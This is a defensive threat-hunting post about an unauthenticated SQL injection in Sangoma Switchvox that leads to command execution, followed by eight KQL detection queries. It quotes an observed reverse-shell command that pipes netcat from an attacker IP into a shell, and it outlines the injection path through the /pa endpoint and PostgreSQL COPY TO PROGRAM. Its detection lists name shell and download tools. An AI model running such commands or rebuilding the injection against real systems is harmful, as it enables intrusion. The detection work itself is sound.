Posted on

Sangoma Switchvox CVE-2026-9586 – Active Unauthenticated SQL Injection to Remote Code Execution

Threat Overview

CVE-2026-9586 is a critical unauthenticated SQL injection vulnerability in Sangoma Switchvox that leads to operating-system command execution. Horizon3.ai and Defused Cyber observed valid exploitation attempts beginning August 30, 2026. The vulnerable /pa endpoint accepts XML beginning with PolycomIPPhone; attacker-controlled PhoneIP data reaches an unparameterized PostgreSQL query. Horizon3 demonstrated stacked queries using PostgreSQL COPY TO PROGRAM to execute operating-system commands.

Observed exploitation included nc 176.65.148.184 39323 | sh and subsequent process enumeration using curl, top, awk, and base64. Evidence of injected SQL can appear in /var/log/switchvox/db-quirks.log. These are confirmed researcher-observed indicators, but infrastructure and command syntax can change.

References

Impacted Systems

  • Sangoma Switchvox SMB Edition.
  • Confirmed vulnerable build: Switchvox SMB Edition 8.3 (104997).
  • Public sources are inconsistent about earlier versions; older versions should not be assumed safe.
  • Fixed version: Switchvox 8.4.0.2.
  • Vulnerable endpoint: unauthenticated HTTP /pa.
  • Attacker prerequisite: network access to the Switchvox web interface; no credentials or user interaction required.
  • Observed exploitation source: 176.65.148.184.

Why this matters

Active exploitation provides a direct unauthenticated route into enterprise VoIP infrastructure and can create a privileged Linux foothold.

Exploitation Status

Confirmed active exploitation. Valid honeypot exploitation attempts were recorded beginning August 30, including reverse-shell commands and process enumeration.

What this hunt looks for

The published source IP, POST requests to /pa, XML and SQL-injection indicators, Switchvox database artifacts, PostgreSQL or web processes spawning shells, reverse-shell behavior, and new outbound destinations.

Required logs

  • CommonSecurityLog with HTTP URL/method telemetry
  • Syslog from Switchvox/Linux where available
  • DeviceProcessEvents and DeviceNetworkEvents where Linux endpoint telemetry is deployed

Hunt 1 – First-Pass: Published Exploitation Source IP

CommonSecurityLog
| where TimeGenerated >= ago(30d)
| where SourceIP == "176.65.148.184" or DestinationIP == "176.65.148.184"
| project TimeGenerated, DeviceVendor, DeviceProduct, SourceIP, SourcePort, DestinationIP, DestinationPort, Protocol, DeviceAction, RequestURL=tostring(column_ifexists("RequestURL","")), Message
| sort by TimeGenerated asc

Hunt 2 – POST Requests to /pa

CommonSecurityLog
| where TimeGenerated >= ago(30d)
| extend HttpMethod=tostring(column_ifexists("RequestMethod",""))
| extend Url=tostring(column_ifexists("RequestURL",""))
| where HttpMethod =~ "POST"
| where Url endswith "/pa" or Url has "/pa?"
| project TimeGenerated, SourceIP, DestinationIP, DestinationHostName, HttpMethod, Url, DeviceAction, Message
| sort by TimeGenerated asc

Hunt 3 – PolycomIPPhone and SQL Injection Indicators

CommonSecurityLog
| where TimeGenerated >= ago(30d)
| extend Url=tostring(column_ifexists("RequestURL",""))
| extend Msg=tostring(column_ifexists("Message",""))
| where Url endswith "/pa" or Url has "/pa?"
| where Msg has_any ("PolycomIPPhone","PhoneIP","COPY","TO PROGRAM","pg_sleep","auto_phone_config")
| project TimeGenerated, SourceIP, DestinationIP, DestinationHostName, Url, DeviceAction, Msg
| sort by TimeGenerated asc

Hunt 4 – Database Quirks Log Indicators

Syslog
| where TimeGenerated >= ago(30d)
| where SyslogMessage has_any ("db-quirks.log","auto_phone_config","COPY","TO PROGRAM","PolycomIPPhone","PhoneIP")
| project TimeGenerated, Computer, HostIP, ProcessName, SeverityLevel, SyslogMessage
| sort by TimeGenerated asc

Hunt 5 – PostgreSQL or Web Processes Spawning Shells

DeviceProcessEvents
| where TimeGenerated >= ago(30d)
| where InitiatingProcessFileName in~ ("postgres","postgres.exe","httpd","apache2","nginx","perl","perl.exe")
| where FileName in~ ("bash","sh","nc","ncat","curl","wget","python","python3","cmd.exe","powershell.exe","pwsh.exe")
| project TimeGenerated, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256
| sort by TimeGenerated asc

Hunt 6 – Published Reverse-Shell Behavior

DeviceProcessEvents
| where TimeGenerated >= ago(30d)
| where ProcessCommandLine has_any ("176.65.148.184","39323","top -bn1","base64 -d","base64 -w0","nc ")
| project TimeGenerated, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256
| sort by TimeGenerated asc

Hunt 7 – New Public Destinations From Switchvox-Related Processes

let Baseline = DeviceNetworkEvents
| where TimeGenerated between (ago(30d) .. ago(7d))
| where InitiatingProcessFileName in~ ("postgres","postgres.exe","httpd","apache2","nginx","perl","perl.exe")
| where RemoteIPType == "Public"
| summarize by DeviceId, RemoteIP, RemotePort;
DeviceNetworkEvents
| where TimeGenerated >= ago(7d)
| where InitiatingProcessFileName in~ ("postgres","postgres.exe","httpd","apache2","nginx","perl","perl.exe")
| where RemoteIPType == "Public"
| join kind=leftanti Baseline on DeviceId, RemoteIP, RemotePort
| project TimeGenerated, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteIP, RemoteUrl, RemotePort, ActionType
| sort by TimeGenerated desc

Hunt 8 – Suspicious Linux Shell and Download Activity

Syslog
| where TimeGenerated >= ago(30d)
| where SyslogMessage has_any ("switchvox","postgres","PhoneAppsHandler","db-quirks")
| where SyslogMessage has_any ("nc ","curl ","wget ","/bin/bash","/bin/sh","base64","chmod ","TO PROGRAM")
| project TimeGenerated, Computer, HostIP, ProcessName, SeverityLevel, SyslogMessage
| sort by TimeGenerated asc

Detection Notes

  • Highest signal is a /pa POST correlated with PolycomIPPhone, PhoneIP, COPY TO PROGRAM, or suspicious PostgreSQL execution.
  • 176.65.148.184 is confirmed from observed exploitation but should not be treated as the only infrastructure.
  • The local db-quirks.log artifact is only visible if forwarded into Sentinel.
  • Endpoint Device* tables may not exist for the appliance.
  • Legitimate Linux utilities require correlation with Switchvox/PostgreSQL context.

Leave a comment